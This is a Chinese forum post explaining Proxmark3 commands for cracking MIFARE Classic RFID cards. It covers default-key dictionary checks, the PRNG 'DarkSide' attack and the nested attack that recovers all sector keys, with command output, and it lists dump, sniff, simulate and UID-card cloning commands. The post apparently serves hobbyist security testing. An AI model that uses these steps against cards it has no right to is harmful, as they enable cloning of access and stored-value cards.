灰儿 发表于 2019-5-14 16:41:40

pm3常用命令详解

MIFARE卡的相关命令...
proxmark3> help      显示帮助
hf               { High Frequency commands... }          高频指令
hw             { Hardware commands... }                   硬件命令
lf               { Low Frequency commands... }         低频指令
script         { Scripting commands }                     脚本脚本命令
quit             Exit program         退出退出程序
exit             Exit program         退出退出程序

hw tune   测量天线的调谐
hw ver      打印显示Proxmark3的固件版本信息
hw reset   重置PM3
hf 14a reader   检测卡的类型
hf mf mifare       执行漏洞攻击
hf mf nested 1 0 A FFFFFFFFFFFF d   测试嵌套认证漏洞,基于一个已知Key,获取都有扇区Keys


(1)检测卡的类型( hf 14a reader)
  这条命令可以用来检测卡是属于什么卡,命令为 hf 14a reader
  我们将我们的测试卡放置到读卡区内,输入命令进行读取。
  返回结果:
  proxmark3> hf 14a reader
  ATQA : 00 04
  UID : c0 68 ca d4
  SAK : 08
  TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
  proprietary non iso14443-4 card found, RATS not supported
  Answers to chinese magic backdoor commands: NO
  proxmark3>

  TYPE即是他的卡片属性,当你看到“NXP MIFARE CLASSIC 1k | Plus 2k SL1”的时候,就代表这是M1 S50的卡片,这种卡片出厂就是自带了加密的,密码不可以取消。既然知道了是什么卡片,那么就可以进行安全测试。

(2)暴力破解卡片密码(默认密码扫描)
  上文我们讲到了M1 S50卡片出厂自带的密码,那么我们想知道其中的数据,肯定要先对卡片进行一次密码破解,关于密码破解的命令如下:
  hf mf chk *1 ? t
  这条命令会枚举每个扇区的密码,然后执行一系列自动操作。

  如图所示,Proxmark3开始执行破解,可以从图中看到,已经获得了一些明文密钥,
  proxmark3> hf mf chk *1 ? t
  No key specified, trying default keys
  chk default key[ 0] ffffffffffff
  chk default key[ 1] 000000000000
  chk default key[ 2] a0a1a2a3a4a5
  chk default key[ 3] b0b1b2b3b4b5
  chk default key[ 4] aabbccddeeff
  chk default key[ 5] 4d3a99c351dd
  chk default key[ 6] 1a982c7e459a
  chk default key[ 7] d3f7d3f7d3f7
  chk default key[ 8] 714c5c886e97
  chk default key[ 9] 587ee5f9350f
  chk default key a0478cc39091
  chk default key 533cb6c723f6
  chk default key 8fd0a4f256e9
  --sector: 0, block: 3, key type:A, key count:13
  Found valid key:
  --sector: 1, block: 7, key type:A, key count:13
  Found valid key:
  --sector: 2, block: 11, key type:A, key count:13
  Found valid key:
  --sector: 3, block: 15, key type:A, key count:13
  贴出了部分返回信息,可以看到,Promark3自带的字典密码都已经显示,此时Proxmark3是开始测试常用的密码,接下来会用这些密码去验证扇区的密码。
  --sector: 0, block: 3, key type:A, key count:13
  Found valid key:
  这条命令需要说明的是,这代表了验证成功,0扇区的卡片密码是“ffffffffffff",如果卡片不存在这个默认的密码,则不会出现提示。
  有意思是,Proxmark的字典里自带的这12种密码,包含了世界范围内发行的RFID卡片默认出厂钥匙,而国内的卡片出厂一般都是“ffffffffffff”

(3)执行漏洞攻击(PRNG破解)
  接下来我们可以用PRNG漏洞进行攻击,命令如下:
  hf mf mifare
  通过这种方式同样可以获得卡片的Key,但并不是所有的卡片都存在这种漏洞,如果不存在PRNG漏洞,就需要使用另外的方法来获得卡片的Key

(4)得到卡片的所有密码(知一密求全密)
  上面我提到了,对于IC卡,只需要获得一个密码就可以了,因为我们在后边可以用暴力破解的方式进行获取全卡密码。
  它的指令如下:
  hf mf nested 1 0 A FFFFFFFFFFFF d
  这是利用一个认证漏洞,可以使用任何一个扇区的密码来获取所有扇区的密码,这种破解方式的成功率相当高。      注意:在早期Nested 攻击命令中,输入d(参数)将key转储到dumpkeys.bin文件,才能够保证继续使用 MIFARE卡其它指令。

 -----------------------------------------------
  Iterations count: 12
  |---|----------------|---|----------------|---|
  |sec|key A |res|key B |res|
  |---|----------------|---|----------------|---|
  |000| ffffffffffff | 1 | ffffffffffff | 1 |
  |001| ffffffffffff | 1 | ffffffffffff | 1 |
  |002| ffffffffffff | 1 | ffffffffffff | 1 |
  |003| ffffffffffff | 1 | ffffffffffff | 1 |
  |004| ffffffffffff | 1 | ffffffffffff | 1 |
  |005| ffffffffffff | 1 | ffffffffffff | 1 |
  |006| ffffffffffff | 1 | ffffffffffff | 1 |
  |007| ffffffffffff | 1 | ffffffffffff | 1 |
  |008| ffffffffffff | 1 | ffffffffffff | 1 |
  |009| ffffffffffff | 1 | ffffffffffff | 1 |
  |010| 740f6dXXXXXX | 1 | 740f6dcXXXXX | 1 |
  |011| 740f6dXXXXXX | 1 | 740f6dXXXXXX | 1 |
  |012| 740f6dXXXXXXX | 1 | 740f6dXXXXXX | 1 |
  |013| 740f6dXXXXXX | 1 | 740f6XXXXXXX | 1 |
  |014| ffffffffffff | 1 | ffffffffffff | 1 |
  |015| ffffffffffff | 1 | ffffffffffff | 1 |
  |---|----------------|---|----------------|---|
  Printing keys to binary file dumpkeys.bin...
  proxmark3>

RES的意思是代表结果,1是密码正确,0代表密码错误。


其它指令:
dbg设置默认调试模式
rdbl读取MIFARE classic卡的区块数据
rdsc读取MIFARE classic卡的扇区数据
dump导出MIFARE classic卡的数据到二进制文件
restore从二进制文件恢复数据到空白的MIFARE classic卡
wrbl改写MIFARE classic卡的区块数据
chk测试MIFARE classic卡的各个区块KEY A/B
mifare基于PRNG漏洞,执行mifare “DarkSide”攻击操作
sniff嗅卡片与读写器之间的通讯(等同于hf 14a snoop)
sim模拟一个MIFARE卡片
eclr清除仿真内存的各区块数据
eget   获取仿真内存的各区块数据
eset设置仿真内存的各区块数据
eload   从导出的文件加载仿真数据
esave导出保存仿真数据到文件
ecfill   利用仿真器的keys来填补仿真内存
ekeyprn打印输出仿真内存中的keys
csetuid直接设置可改UID卡的UID
csetblk把对应区块数据写入UID卡
cgetblk读取UID卡对应区块数据
cgetsc   读取UID卡对应扇区数据
cload   写入dump数据到UID卡。注意
csave   保存UID卡数据到文件或者仿真内存


页: [1]
查看完整版本: pm3常用命令详解